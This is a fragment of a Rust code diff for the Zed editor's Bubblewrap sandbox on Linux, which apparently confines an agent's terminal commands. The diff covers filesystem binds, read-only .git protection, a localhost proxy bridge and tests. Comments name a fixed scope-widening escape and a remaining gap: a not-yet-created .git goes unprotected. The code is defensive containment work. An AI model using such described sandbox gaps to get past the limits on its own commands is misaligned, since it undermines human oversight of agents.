+        proxy_socket_sandbox_path.as_deref(),
+    )
+}
+
+fn build_bwrap_args_with_proxy_socket_sandbox_path(
+    writable_directories: &[&Path],
+    protected_git_dirs: &[&Path],
+    permissions: SandboxPermissions,
+    cwd: Option<&Path>,
+    proxy_socket_path: Option<&Path>,
+    proxy_socket_sandbox_path: Option<&Path>,
 ) -> Vec<String> {
     let mut args = Vec::new();
 
@@ -328,72 +218,47 @@ pub fn build_bwrap_args(
     args.push("/proc".to_string());
 
     if !permissions.allow_fs_write {
-        // A writable, ephemeral `/tmp`. This sits before the writable binds
-        // below so any writable directory under `/tmp` (e.g. the per-thread
-        // terminal temp directory) is re-exposed on top of the tmpfs and
-        // keeps its real, persistent contents.
         args.push("--tmpfs".to_string());
         args.push("/tmp".to_string());
 
         for directory in writable_directories {
-            // bwrap can only bind a path that exists. A writable target may
-            // not have been created yet (e.g. a command that creates
-            // `/tmp/foo.txt`), so bind the nearest existing ancestor and let
-            // the command create paths beneath it.
-            let Some(existing) = nearest_existing_ancestor(directory) else {
+            // Bind each writable directory at its *exact* path. We must never
+            // fall back to an existing ancestor: that would grant write access
+            // to a broader tree than was requested and approved (e.g. binding
+            // `$HOME` for a not-yet-created `~/.cache/...`, or re-binding the
+            // host `/tmp` over the tmpfs established above). `wrap_invocation`
+            // creates the requested directories before launch so they exist
+            // here; any that still don't are skipped rather than widened.
+            if !directory.exists() {
                 continue;
-            };
-            let canonical = existing.canonicalize().unwrap_or(existing);
+            }
+            let canonical = directory
+                .canonicalize()
+                .unwrap_or_else(|_| directory.to_path_buf());
             let path = canonical.to_string_lossy().into_owned();
             push_bind(&mut args, "--bind", &path, &path);
         }
-    }
 
-    // Shadow protected paths last among the filesystem binds so the overlay
-    // wins over the root bind and any writable bind above it. Unlike the macOS
-    // Seatbelt policy (which denies `file-read-data` while leaving metadata
-    // readable), bwrap hides the real contents entirely behind an empty
-    // overlay; the security goal — keeping the real path unreadable and
-    // unwritable — is the same.
-    for protected_path in protected_paths {
-        // Resolve through an existing parent when the leaf is missing so a
-        // not-yet-created `.git` (before `git init`) overlays the same real path
-        // the writable bind above uses, even on a symlinked root.
-        let canonical = crate::canonicalize_allowing_missing_leaf(protected_path);
-        let destination = canonical.to_string_lossy().into_owned();
-        match std::fs::symlink_metadata(&canonical) {
-            Ok(metadata) if metadata.is_dir() => {
-                args.push("--tmpfs".to_string());
-                args.push(destination);
-            }
-            Ok(_) => {
-                // A file (e.g. a linked worktree's `.git` gitlink): mask it
-                // with an empty, read-only `/dev/null`.
-                push_bind(&mut args, "--ro-bind", "/dev/null", &destination);
-            }
-            Err(_) => {
-                // Doesn't exist yet: still overlay a tmpfs so a command can't
-                // `git init` and write real metadata into a writable worktree.
-                args.push("--tmpfs".to_string());
-                args.push(destination);
+        // Protect Git directories by re-binding them read-only *over* the rw
+        // worktree binds above (order matters: later binds win). Unlike
+        // Seatbelt, bwrap can't deny content reads while keeping metadata, so on
+        // Linux a protected `.git` is read-only — its contents stay readable but
+        // can't be written. A not-yet-existing `.git` can't be bound, so it's
+        // skipped (a documented gap vs. macOS, which denies it even before it
+        // exists). When Git access is granted these dirs are in
+        // `writable_directories` instead and this list is empty.
+        for git_dir in protected_git_dirs {
+            if !git_dir.exists() {
+                continue;
             }
+            let canonical = git_dir
+                .canonicalize()
+                .unwrap_or_else(|_| git_dir.to_path_buf());
+            let path = canonical.to_string_lossy().into_owned();
+            push_bind(&mut args, "--ro-bind", &path, &path);
         }
     }
 
-    // Re-expose explicitly allowed Unix domain sockets on top of any overlay
-    // that would otherwise hide them. Done after the protected overlays and the
-    // `/tmp` tmpfs so the socket always wins.
-    for socket_path in allowed_unix_socket_paths {
-        let canonical = socket_path
-            .canonicalize()
-            .unwrap_or_else(|_| socket_path.to_path_buf());
-        if !canonical.exists() {
-            continue;
-        }
-        let path = canonical.to_string_lossy().into_owned();
-        push_bind(&mut args, "--bind", &path, &path);
-    }
-
     for flag in [
         "--unshare-user",
         "--unshare-ipc",
@@ -405,10 +270,19 @@ pub fn build_bwrap_args(
         args.push(flag.to_string());
     }
 
-    // Deny network by giving the command its own network namespace (loopback
-    // only, no route out). `bwrap` brings up `lo` inside it.
-    if !permissions.allow_network {
-        args.push("--unshare-net".to_string());
+    match permissions.network {
+        NetworkAccess::None => args.push("--unshare-net".to_string()),
+        NetworkAccess::LocalhostPort(_) => {
+            args.push("--unshare-net".to_string());
+            if let Some((proxy_socket_path, proxy_socket_sandbox_path)) =
+                proxy_socket_path.zip(proxy_socket_sandbox_path)
+            {
+                let source = proxy_socket_path.to_string_lossy().into_owned();
+                let destination = proxy_socket_sandbox_path.to_string_lossy().into_owned();
+                push_bind(&mut args, "--bind", &source, &destination);
+            }
+        }
+        NetworkAccess::All => {}
     }
 
     if let Some(cwd) = cwd {
@@ -419,355 +293,344 @@ pub fn build_bwrap_args(
     args
 }
 
+/// A unique destination path for the proxy socket bind mount *inside* the
+/// sandbox. Each sandboxed command runs in its own mount namespace, so the path
+/// only needs to be unique enough to avoid colliding with anything a previous
+/// command in the same namespace lineage may have created; combining the pid
+/// with a monotonic counter is sufficient and keeps the path predictable for
+/// diagnostics.
+fn unique_proxy_socket_sandbox_path() -> PathBuf {
+    static COUNTER: AtomicU64 = AtomicU64::new(0);
+    let counter = COUNTER.fetch_add(1, Ordering::Relaxed);
+    PathBuf::from(format!(
+        "{PROXY_SOCKET_SANDBOX_PATH_PREFIX}-{}-{counter}.sock",
+        std::process::id()
+    ))
+}
+
 fn push_bind(args: &mut Vec<String>, flag: &str, source: &str, destination: &str) {
     args.push(flag.to_string());
     args.push(source.to_string());
     args.push(destination.to_string());
 }
 
-/// Return the nearest ancestor of `path` (including `path` itself) that exists
-/// on disk, or `None` if nothing up to the root exists.
-fn nearest_existing_ancestor(path: &Path) -> Option<PathBuf> {
-    let mut candidate = Some(path);
-    while let Some(current) = candidate {
-        if current.exists() {
-            return Some(current.to_path_buf());
-        }
-        candidate = current.parent();
+fn resolve_bwrap() -> std::result::Result<PathBuf, LauncherStatus> {
+    match locate_bwrap() {
+        BwrapLocation::Found(path) => Ok(path),
+        BwrapLocation::OnlySetuid => Err(LauncherStatus::SetuidRejected),
+        BwrapLocation::NotFound => Err(LauncherStatus::BwrapNotFound),
     }
-    None
 }
 
-/// Marker passed as the first argument when this binary is re-executed as a
-/// sandbox launcher (see [`wrap_invocation`]). Intentionally unlikely to
-/// collide with a real argument.
-pub const SANDBOX_LAUNCHER_FLAG: &str = "--zed-linux-sandbox-exec";
+fn prepare_sandbox(
+    writable_dirs: &[&Path],
+    permissions: SandboxPermissions,
+    cwd: Option<&Path>,
+    proxy_socket_path: Option<&Path>,
+) -> std::result::Result<(PathBuf, Vec<String>), LauncherStatus> {
+    let bwrap = resolve_bwrap()?;
+    // The probe only checks whether a sandbox can be created at all, so Git
+    // protection (which doesn't affect createability) is irrelevant here.
+    let bwrap_args = build_bwrap_args(writable_dirs, &[], permissions, cwd, proxy_socket_path);
+    if !probe_bwrap(&bwrap, &bwrap_args) {
+        return Err(LauncherStatus::SandboxProbeFailed);
+    }
+    Ok((bwrap, bwrap_args))
+}
 
-/// A decoded launcher invocation: the raw sandbox policy plus the command to
-/// run. The launcher itself turns this into a `bwrap` command line.
-struct LauncherInvocation {
-    /// Abstract address of the [`StatusChannel`] to report back on, if any.
-    status_socket: Option<String>,
+/// Check whether an OS sandbox can be created for this policy.
+pub fn check_can_create_sandbox(
+    writable_dirs: &[&Path],
     permissions: SandboxPermissions,
-    cwd: Option<PathBuf>,
-    writable_dirs: Vec<PathBuf>,
-    protected_paths: Vec<PathBuf>,
-    allowed_unix_socket_paths: Vec<PathBuf>,
-    program: OsString,
-    args: Vec<OsString>,
+    cwd: Option<&Path>,
+) -> std::result::Result<(), LauncherStatus> {
+    prepare_sandbox(writable_dirs, permissions, cwd, None).map(|_| ())
 }
 
-/// Build a self-exec launcher invocation.
+/// Build the final command line that runs `program` inside Bubblewrap.
 ///
-/// Returns `(launcher_program, launcher_args)`, where running
-/// `launcher_program` with `launcher_args` re-execs this binary as the
-/// launcher. The launcher locates `bwrap`, assembles the sandbox command line,
-/// and reports its outcome on the [`StatusChannel`] named by
-/// `status_socket_name` (when given).
+/// `bridge_program` should be the current Zed executable. It is only used for
+/// [`NetworkAccess::LocalhostPort`], where it runs in bridge mode inside the
+/// sandbox before spawning the real command.
 ///
-/// The encoding is positional, one value per argv entry, so paths and
-/// arguments containing spaces round-trip without escaping. Each path list is a
-/// count followed by that many entries:
-/// `[FLAG, socket, allow_network, allow_fs_write, cwd,
-///   N_writable, writable.., N_protected, protected.., N_sockets, sockets..,
-///   program, args..]`.
+/// The host `proxy_socket_path` is bind-mounted to a per-invocation unique path
+/// inside the sandbox, and that same in-sandbox path is handed to the bridge.
 pub fn wrap_invocation(
-    launcher_program: &str,
-    status_socket_name: Option<&str>,
+    bridge_program: &str,
     permissions: SandboxPermissions,
     writable_dirs: &[&Path],
-    protected_paths: &[&Path],
-    allowed_unix_socket_paths: &[&Path],
+    protected_git_dirs: &[&Path],
     cwd: Option<&Path>,
     program: &str,
     args: &[String],
-) -> (String, Vec<String>) {
-    let mut launcher_args = Vec::with_capacity(
-        writable_dirs.len()
-            + protected_paths.len()
-            + allowed_unix_socket_paths.len()
-            + args.len()
-            + 9,
-    );
-    launcher_args.push(SANDBOX_LAUNCHER_FLAG.to_string());
-    launcher_args.push(status_socket_name.unwrap_or("").to_string());
-    launcher_args.push(encode_bool(permissions.allow_network));
-    launcher_args.push(encode_bool(permissions.allow_fs_write));
-    launcher_args.push(
-        cwd.map(|cwd| cwd.to_string_lossy().into_owned())
-            .unwrap_or_default(),
-    );
-    push_path_list(&mut launcher_args, writable_dirs);
-    push_path_list(&mut launcher_args, protected_paths);
-    push_path_list(&mut launcher_args, allowed_unix_socket_paths);
-    launcher_args.push(program.to_string());
-    launcher_args.extend(args.iter().cloned());
-    (launcher_program.to_string(), launcher_args)
-}
+    proxy_socket_path: Option<&Path>,
+) -> Result<(String, Vec<String>)> {
+    if matches!(permissions.network, NetworkAccess::LocalhostPort(_)) && proxy_socket_path.is_none()
+    {
+        bail!("restricted Linux network access requires a proxy Unix socket path");
+    }
+
+    // Create the requested writable directories up front, with the agent's
+    // ambient permissions, so each can be bind-mounted at its exact path (see
+    // `build_bwrap_args`). Without this a not-yet-existing writable path could
+    // not be bound, and the command could not create it either (its parent is
+    // read-only inside the sandbox). Best-effort: a directory we can't create is
+    // left unbound rather than widening the sandbox to an existing ancestor.
+    if !permissions.allow_fs_write {
+        for directory in writable_dirs {
+            if let Err(error) = std::fs::create_dir_all(directory) {
+                log::warn!(
+                    "[sandbox] could not create writable directory {}: {error}",
+                    directory.display()
+                );
+            }
+        }
+    }
 
-/// Encode a path list as a count followed by one argv entry per path.
-fn push_path_list(launcher_args: &mut Vec<String>, paths: &[&Path]) {
-    launcher_args.push(paths.len().to_string());
-    for path in paths {
-        launcher_args.push(path.to_string_lossy().into_owned());
+    let bwrap = resolve_bwrap().map_err(|status| anyhow!(status.describe()))?;
+    let proxy_socket_sandbox_path = match permissions.network {
+        NetworkAccess::LocalhostPort(_) => Some(unique_proxy_socket_sandbox_path()),
+        NetworkAccess::None | NetworkAccess::All => None,
+    };
+    let mut bwrap_args = build_bwrap_args_with_proxy_socket_sandbox_path(
+        writable_dirs,
+        protected_git_dirs,
+        permissions,
+        cwd,
+        proxy_socket_path,
+        proxy_socket_sandbox_path.as_deref(),
+    );
+    bwrap_args.push("--".to_string());
+
+    match permissions.network {
+        NetworkAccess::LocalhostPort(port) => {
+            let proxy_socket_sandbox_path = proxy_socket_sandbox_path
+                .as_ref()
+                .context("missing in-sandbox proxy socket path")?;
+            bwrap_args.push(bridge_program.to_string());
+            bwrap_args.push(BRIDGE_FLAG.to_string());
+            bwrap_args.push(proxy_socket_sandbox_path.to_string_lossy().into_owned());
+            bwrap_args.push(port.to_string());
+            bwrap_args.push("--".to_string());
+        }
+        NetworkAccess::None | NetworkAccess::All => {}
     }
+
+    bwrap_args.push(program.to_string());
+    bwrap_args.extend(args.iter().cloned());
+
+    let bwrap = bwrap
+        .to_str()
+        .with_context(|| format!("bwrap path contains invalid UTF-8: {}", bwrap.display()))?;
+    Ok((bwrap.to_string(), bwrap_args))
 }
 
-/// If this process was re-executed as a sandbox launcher (its first argument
-/// is [`SANDBOX_LAUNCHER_FLAG`]), set up the sandbox and `exec` the wrapped
-/// command. This never returns when the marker is present.
-///
-/// Call this at the very top of `main`, before any argument parsing: the
-/// wrapped command's own arguments are appended verbatim and would otherwise
-/// confuse an argument parser.
+/// Handle a possible re-exec of this binary as the in-sandbox proxy bridge.
 pub fn run_launcher_if_invoked() {
-    let Some(invocation) = parse_launcher_args(std::env::args_os()) else {
+    let Some(invocation) = parse_bridge_args(std::env::args_os()) else {
         return;
     };
     let invocation = match invocation {
         Ok(invocation) => invocation,
         Err(error) => {
-            eprintln!("zed: malformed sandbox launcher invocation: {error:#}");
+            eprintln!("zed: malformed sandbox bridge invocation: {error:#}");
             std::process::exit(127);
         }
     };
-    run_launcher(invocation);
+    run_bridge(invocation);
 }
 
-/// Exit code the launcher uses when it could not create the sandbox. Distinct
-/// from a normal command's exit codes so the failure is unambiguous in logs;
-/// the authoritative signal to the parent is the [`LauncherStatus`] datagram.
-const SANDBOX_SETUP_FAILED_EXIT_CODE: i32 = 126;
+struct BridgeInvocation {
+    socket_path: PathBuf,
+    port: u16,
+    program: OsString,
+    args: Vec<OsString>,
+}
 
-/// Set up the sandbox and `exec` the command. Never returns.
-///
-/// If the sandbox cannot be created for any reason, this reports the reason to
-/// the parent and **aborts** — it never runs the command unsandboxed. Falling
-/// back to an unsandboxed run is a policy decision that belongs to the caller
-/// (see [`check_can_create_sandbox`]), not to the sandbox itself.
-fn run_launcher(invocation: LauncherInvocation) -> ! {
-    let socket = invocation.status_socket.clone();
-    let writable: Vec<&Path> = invocation
-        .writable_dirs
-        .iter()
-        .map(PathBuf::as_path)
-        .collect();
-    let protected: Vec<&Path> = invocation
-        .protected_paths
-        .iter()
-        .map(PathBuf::as_path)
-        .collect();
-    let allowed_unix_sockets: Vec<&Path> = invocation
-        .allowed_unix_socket_paths
-        .iter()
-        .map(PathBuf::as_path)
-        .collect();
-
-    let (bwrap, bwrap_args) = match prepare_sandbox(
-        &writable,
-        &protected,
-        &allowed_unix_sockets,
-        invocation.permissions,
-        invocation.cwd.as_deref(),
-    ) {
-        Ok(prepared) => prepared,
-        Err(status) => {
-            report_status(socket.as_deref(), status);
-            eprintln!(
-                "zed: could not create sandbox: {}; aborting",
-                status.describe()
-            );
+fn parse_bridge_args(args: impl IntoIterator<Item = OsString>) -> Option<Result<BridgeInvocation>> {
+    let mut args = args.into_iter();
+    args.next()?;
+    if args.next()?.to_str() != Some(BRIDGE_FLAG) {
+        return None;
+    }
+    Some(decode_bridge_args(args))
+}
+
+fn decode_bridge_args(mut args: impl Iterator<Item = OsString>) -> Result<BridgeInvocation> {
+    let socket_path = PathBuf::from(args.next().context("missing proxy socket path")?);
+    let port = args
+        .next()
+        .context("missing proxy bridge port")?
+        .to_str()
+        .context("proxy bridge port is not valid UTF-8")?
+        .parse::<u16>()
+        .context("invalid proxy bridge port")?;
+    let separator = args.next().context("missing bridge argument separator")?;
+    if separator != "--" {
+        bail!("missing bridge argument separator");
+    }
+    let program = args.next().context("missing program to run")?;
+    let args = args.collect();
+    Ok(BridgeInvocation {
+        socket_path,
+        port,
+        program,
+        args,
+    })
+}
+
+#[allow(
+    clippy::disallowed_methods,
+    reason = "the bridge is an in-sandbox process that must synchronously spawn and wait for the command"
+)]
+fn run_bridge(invocation: BridgeInvocation) -> ! {
+    let listener = match TcpListener::bind((Ipv4Addr::LOCALHOST, invocation.port)) {
+        Ok(listener) => listener,
+        Err(error) => {
+            eprintln!("zed: failed to bind sandbox proxy bridge: {error}");
             std::process::exit(SANDBOX_SETUP_FAILED_EXIT_CODE);
         }
     };
 
-    // Everything is in place: report success, then `exec` the sandboxed command.
-    // A failure of the final `exec` is fail-closed (a hard error, never a silent
-    // unsandboxed run).
-    report_status(socket.as_deref(), LauncherStatus::Success);
-    let error = Command::new(&bwrap)
-        .args(&bwrap_args)
-        .arg("--")
-        .arg(&invocation.program)
-        .args(&invocation.args)
-        .exec();
-    eprintln!(
-        "zed: failed to exec sandboxed command via bwrap: {error}; refusing to run unsandboxed"
-    );
-    std::process::exit(SANDBOX_SETUP_FAILED_EXIT_CODE);
-}
+    let socket_path = invocation.socket_path.clone();
+    if let Err(error) = thread::Builder::new()
+        .name("zed-sandbox-bridge".to_string())
+        .stack_size(128 * 1024)
+        .spawn(move || run_bridge_listener(listener, socket_path))
+    {
+        eprintln!("zed: failed to spawn sandbox proxy bridge: {error}");
+        std::process::exit(SANDBOX_SETUP_FAILED_EXIT_CODE);
+    }
 
-/// Locate a usable `bwrap` and verify it can actually create a sandbox with the
-/// exact arguments implied by the policy (by running `bwrap <args> -- true`).
-///
-/// Returns the `bwrap` path and the assembled argument list on success, or the
-/// reason it can't on failure. Shared by the launcher (which then `exec`s) and
-/// by [`check_can_create_sandbox`] (which the parent uses to decide whether to
-/// fall back to an unsandboxed run).
-fn prepare_sandbox(
-    writable_dirs: &[&Path],
-    protected_paths: &[&Path],
-    allowed_unix_socket_paths: &[&Path],
-    permissions: SandboxPermissions,
-    cwd: Option<&Path>,
-) -> Result<(PathBuf, Vec<String>), LauncherStatus> {
-    let bwrap = match locate_bwrap() {
-        BwrapLocation::Found(path) => path,
-        BwrapLocation::OnlySetuid => return Err(LauncherStatus::SetuidRejected),
-        BwrapLocation::NotFound => return Err(LauncherStatus::BwrapNotFound),
+    let mut child = match Command::new(&invocation.program)
+        .args(&invocation.args)
+        .spawn()
+    {
+        Ok(child) => child,
+        Err(error) => {
+            eprintln!("zed: failed to spawn sandboxed command: {error}");
+            std::process::exit(SANDBOX_SETUP_FAILED_EXIT_CODE);
+        }
     };
-    let bwrap_args = build_bwrap_args(
-        writable_dirs,
-        protected_paths,
-        allowed_unix_socket_paths,
-        permissions,
-        cwd,
-    );
-    if !probe_bwrap(&bwrap, &bwrap_args) {
-        return Err(LauncherStatus::SandboxProbeFailed);
+
+    match child.wait() {
+        Ok(status) => {
+            if let Some(code) = status.code() {
+                std::process::exit(code);
+            }
+            let signal = status.signal().unwrap_or(1);
+            std::process::exit(128 + signal);
+        }
+        Err(error) => {
+            eprintln!("zed: failed to wait for sandboxed command: {error}");
+            std::process::exit(SANDBOX_SETUP_FAILED_EXIT_CODE);
+        }
     }
-    Ok((bwrap, bwrap_args))
 }
 
-/// Check whether an OS sandbox can be created for this policy, returning the
-/// reason it can't (as a [`LauncherStatus`]) on failure.
-///
-/// This runs the same locate + probe the launcher does, so a caller can decide
-/// *before* spawning whether to run sandboxed, fall back to an unsandboxed run
-/// (fail-open), or refuse (fail-closed). The launcher still performs its own
-/// check and aborts on failure, so this is purely advisory — the sandbox is
-/// never silently skipped on the strength of this result alone.
-pub fn check_can_create_sandbox(
-    writable_dirs: &[&Path],
-    protected_paths: &[&Path],
-    allowed_unix_socket_paths: &[&Path],
-    permissions: SandboxPermissions,
-    cwd: Option<&Path>,
-) -> std::result::Result<(), LauncherStatus> {
-    prepare_sandbox(
-        writable_dirs,
-        protected_paths,
-        allowed_unix_socket_paths,
-        permissions,
-        cwd,
-    )
-    .map(|_| ())
+fn run_bridge_listener(listener: TcpListener, socket_path: PathBuf) {
+    for stream in listener.incoming() {
+        match stream {
+            Ok(stream) => {
+                let socket_path = socket_path.clone();
+                if let Err(error) = thread::Builder::new()
+                    .name("zed-sandbox-bridge-conn".to_string())
+                    .stack_size(128 * 1024)
+                    .spawn(move || forward_bridge_connection(stream, socket_path))
+                {
+                    eprintln!("zed: failed to spawn sandbox bridge connection thread: {error}");
+                }
+            }
+            Err(error) => eprintln!("zed: sandbox bridge accept failed: {error}"),
+        }
+    }
 }
 
-/// Send a one-shot `status` datagram to the status channel (if one was given).
-///
-/// Best-effort: if the parent has gone away or the send fails there is nothing
-/// useful to do, and we must never block the command on a diagnostic channel.
-/// This runs in the launcher (host network namespace) before `exec`, so it is
-/// unaffected by the command's own `--unshare-net` isolation.
-fn report_status(socket_name: Option<&str>, status: LauncherStatus) {
-    let Some(name) = socket_name else {
-        return;
+fn forward_bridge_connection(tcp_stream: TcpStream, socket_path: PathBuf) {
+    let unix_stream = match UnixStream::connect(&socket_path) {
+        Ok(stream) => stream,
+        Err(error) => {
+            eprintln!(
+                "zed: sandbox bridge failed to connect to proxy socket {}: {error}",
+                socket_path.display()
+            );
+            return;
+        }
     };
-    let Ok(address) = SocketAddr::from_abstract_name(name.as_bytes()) else {
-        return;
+    copy_bidirectional(tcp_stream, unix_stream);
+}
+
+fn copy_bidirectional(tcp_stream: TcpStream, unix_stream: UnixStream) {
+    let tcp_read = match tcp_stream.try_clone() {
+        Ok(stream) => stream,
+        Err(error) => {
+            eprintln!("zed: sandbox bridge failed to clone TCP stream: {error}");
+            return;
+        }
     };
-    let Ok(socket) = UnixDatagram::unbound() else {
-        return;
+    let unix_read = match unix_stream.try_clone() {
+        Ok(stream) => stream,
+        Err(error) => {
+            eprintln!("zed: sandbox bridge failed to clone Unix stream: {error}");
+            return;
+        }
     };
-    // Ignore send errors: the report is advisory and the parent may have
-    // already stopped listening.
-    let _ = socket.send_to_addr(&[status.to_byte()], &address);
-}
 
-/// Decode launcher arguments produced by [`wrap_invocation`].
-///
-/// `args` is the full process argv (including argv[0]). Returns `None` when
-/// this isn't a launcher invocation, or `Some(Err(_))` when the marker is
-/// present but the encoding is malformed.
-fn parse_launcher_args(
-    args: impl IntoIterator<Item = OsString>,
-) -> Option<Result<LauncherInvocation>> {
-    let mut args = args.into_iter();
-    // argv[0] is the executable; the marker, if any, is argv[1].
-    args.next()?;
-    if args.next()?.to_str() != Some(SANDBOX_LAUNCHER_FLAG) {
-        return None;
+    let tcp_write = tcp_stream;
+    let unix_write = unix_stream;
+    let to_proxy = match thread::Builder::new()
+        .name("zed-sandbox-bridge-out".to_string())
+        .stack_size(128 * 1024)
+        .spawn(move || copy_one_way(tcp_read, unix_write))
+    {
+        Ok(handle) => handle,
+        Err(error) => {
+            eprintln!("zed: failed to spawn sandbox bridge pump thread: {error}");
+            return;
+        }
+    };
+    copy_one_way(unix_read, tcp_write);
+    if to_proxy.join().is_err() {
+        eprintln!("zed: sandbox bridge pump thread panicked");
     }
-    Some(decode_launcher_args(args))
 }
 
-fn decode_launcher_args(mut args: impl Iterator<Item = OsString>) -> Result<LauncherInvocation> {
-    let status_socket = {
-        let value = args.next().context("missing status socket argument")?;
-        let value = value
-            .into_string()
-            .map_err(|_| anyhow!("status socket name is not valid UTF-8"))?;
-        if value.is_empty() { None } else { Some(value) }
-    };
-    let allow_network = decode_bool(&args.next().context("missing allow_network flag")?)?;
-    let allow_fs_write = decode_bool(&args.next().context("missing allow_fs_write flag")?)?;
-    let cwd = {
-        let value = args.next().context("missing cwd argument")?;
-        if value.is_empty() {
-            None
-        } else {
-            Some(PathBuf::from(value))
-        }
-    };
-    let writable_dirs = decode_path_list(&mut args, "writable directory")?;
-    let protected_paths = decode_path_list(&mut args, "protected path")?;
-    let allowed_unix_socket_paths = decode_path_list(&mut args, "allowed unix socket")?;
-    let program = args.next().context("missing program to run")?;
-    let args: Vec<OsString> = args.collect();
-
-    Ok(LauncherInvocation {
-        status_socket,
-        permissions: SandboxPermissions {
-            allow_network,
-            allow_fs_write,
-        },
-        cwd,
-        writable_dirs,
-        protected_paths,
-        allowed_unix_socket_paths,
-        program,
-        args,
-    })
+trait BridgeStream: Read + Write {
+    fn shutdown(&self, how: Shutdown) -> std::io::Result<()>;
 }
 
-/// Decode a path list (a count followed by that many entries) produced by
-/// [`push_path_list`]. `what` names the list for error messages.
-fn decode_path_list(args: &mut impl Iterator<Item = OsString>, what: &str) -> Result<Vec<PathBuf>> {
-    let count = args
-        .next()
-        .with_context(|| format!("missing {what} count"))?
-        .to_str()
-        .with_context(|| format!("{what} count is not valid UTF-8"))?
-        .parse::<usize>()
-        .with_context(|| format!("invalid {what} count"))?;
-    let mut paths = Vec::with_capacity(count);
-    for _ in 0..count {
-        paths.push(PathBuf::from(
-            args.next()
-                .with_context(|| format!("missing {what} entry"))?,
-        ));
+impl BridgeStream for TcpStream {
+    fn shutdown(&self, how: Shutdown) -> std::io::Result<()> {
+        TcpStream::shutdown(self, how)
     }
-    Ok(paths)
 }
 
-fn encode_bool(value: bool) -> String {
-    if value { "1" } else { "0" }.to_string()
+impl BridgeStream for UnixStream {
+    fn shutdown(&self, how: Shutdown) -> std::io::Result<()> {
+        UnixStream::shutdown(self, how)
+    }
 }
 
-fn decode_bool(value: &OsString) -> Result<bool> {
-    match value.to_str() {
-        Some("0") => Ok(false),
-        Some("1") => Ok(true),
-        other => bail!("invalid boolean launcher argument: {other:?}"),
+fn copy_one_way(mut from: impl Read, mut to: impl BridgeStream) {
+    let mut buffer = vec![0; PUMP_BUFFER_SIZE];
+    loop {
+        let count = match from.read(&mut buffer) {
+            Ok(0) => break,
+            Ok(count) => count,
+            Err(_) => break,
+        };
+        if to.write_all(&buffer[..count]).is_err() {
+            break;
+        }
     }
+    let _ = to.shutdown(Shutdown::Write);
 }
 
 #[cfg(test)]
 mod tests {
     use super::*;
 
-    fn launcher_argv(launcher: String, args: Vec<String>) -> Vec<OsString> {
+    fn bridge_argv(launcher: &str, args: Vec<&str>) -> Vec<OsString> {
         std::iter::once(launcher)
             .chain(args)
             .map(OsString::from)
@@ -775,31 +638,31 @@ mod tests {
     }
 
     #[test]
-    fn test_launcher_status_byte_round_trip() {
-        for status in [
-            LauncherStatus::Success,
-            LauncherStatus::BwrapNotFound,
-            LauncherStatus::SetuidRejected,
-            LauncherStatus::SandboxProbeFailed,
-        ] {
-            assert_eq!(LauncherStatus::from_byte(status.to_byte()), Some(status));
-        }
-        assert_eq!(LauncherStatus::from_byte(200), None);
-    }
-
-    #[test]
-    fn test_nearest_existing_ancestor() {
+    fn test_build_bwrap_args_binds_exact_path_never_widens_to_ancestor() {
+        // A requested writable path that doesn't exist must NOT be bound, and in
+        // particular must never cause an existing ancestor (here the tempdir) to
+        // be bound read-write — that was a sandbox-escape (scope widening).
         let dir = tempfile::tempdir().unwrap();
-        let existing = dir.path();
-        let missing = existing.join("a").join("b").join("c.txt");
+        let existing = dir.path().canonicalize().unwrap();
+        let missing = existing.join("does-not-exist").join("nested");
 
-        assert_eq!(
-            nearest_existing_ancestor(&missing).unwrap(),
-            existing.to_path_buf()
+        let args = build_bwrap_args(
+            &[missing.as_path()],
+            &[],
+            SandboxPermissions::default(),
+            None,
+            None,
         );
-        assert_eq!(
-            nearest_existing_ancestor(existing).unwrap(),
-            existing.to_path_buf()
+
+        let existing_str = existing.to_string_lossy().into_owned();
+        assert!(
+            !windows_contains(&args, &["--bind", &existing_str, &existing_str]),
+            "a missing writable path must not widen the bind to an existing ancestor: {args:?}"
+        );
+        let missing_str = missing.to_string_lossy().into_owned();
+        assert!(
+            !windows_contains(&args, &["--bind", &missing_str, &missing_str]),
+            "a missing writable path must not be bound: {args:?}"
         );
     }
 
@@ -809,13 +672,11 @@ mod tests {
         let args = build_bwrap_args(
             &[writable.path()],
             &[],
-            &[],
             SandboxPermissions::default(),
             Some(writable.path()),
+            None,
         );
 
-        // Root is read-only, the writable dir is bound read-write, and (since
-        // network is denied by default) the command gets its own net namespace.
         assert!(windows_contains(&args, &["--ro-bind", "/", "/"]));
         let writable_path = writable.path().canonicalize().unwrap();
         let writable_str = writable_path.to_string_lossy().into_owned();
@@ -830,236 +691,159 @@ mod tests {
 
     #[test]
     fn test_build_bwrap_args_network_namespace_follows_permission() {
-        let denied = build_bwrap_args(&[], &[], &[], SandboxPermissions::default(), None);
+        let denied = build_bwrap_args(&[], &[], SandboxPermissions::default(), None, None);
         assert!(denied.iter().any(|arg| arg == "--unshare-net"));
 
         let allowed = build_bwrap_args(
-            &[],
             &[],
             &[],
             SandboxPermissions {
-                allow_network: true,
+                network: NetworkAccess::All,
                 allow_fs_write: false,
             },
             None,
+            None,
         );
         assert!(!allowed.iter().any(|arg| arg == "--unshare-net"));
+
+        let socket = PathBuf::from("/tmp/zed-proxy.sock");
+        let restricted = build_bwrap_args(
+            &[],
+            &[],
+            SandboxPermissions {
+                network: NetworkAccess::LocalhostPort(8080),
+                allow_fs_write: false,
+            },
+            None,
+            Some(socket.as_path()),
+        );
+        assert!(restricted.iter().any(|arg| arg == "--unshare-net"));
+        let sandbox_destination = proxy_socket_bind_destination(&restricted)
+            .expect("restricted run should bind the proxy socket into the sandbox");
+        assert!(sandbox_destination.starts_with(PROXY_SOCKET_SANDBOX_PATH_PREFIX));
     }
 
     #[test]
     fn test_build_bwrap_args_allow_fs_write_binds_root_read_write() {
         let permissions = SandboxPermissions {
-            allow_network: false,
+            network: NetworkAccess::None,
             allow_fs_write: true,
         };
-        let args = build_bwrap_args(&[], &[], &[], permissions, None);
+        let args = build_bwrap_args(&[], &[], permissions, None, None);
         assert!(windows_contains(&args, &["--bind", "/", "/"]));
         assert!(!windows_contains(&args, &["--ro-bind", "/", "/"]));
-        // With unrestricted writes the host's real `/tmp` stays writable, so
-        // no ephemeral tmpfs is layered over it.
         assert!(!windows_contains(&args, &["--tmpfs", "/tmp"]));
     }
 
     #[test]
-    fn test_build_bwrap_args_shadows_protected_directory_with_tmpfs() {
-        let project = tempfile::tempdir().unwrap();
-        let git_dir = project.path().join(".git");
-        std::fs::create_dir(&git_dir).unwrap();
-
-        let args = build_bwrap_args(
-            &[project.path()],
-            &[git_dir.as_path()],
-            &[],
-            SandboxPermissions::default(),
-            None,
-        );
-
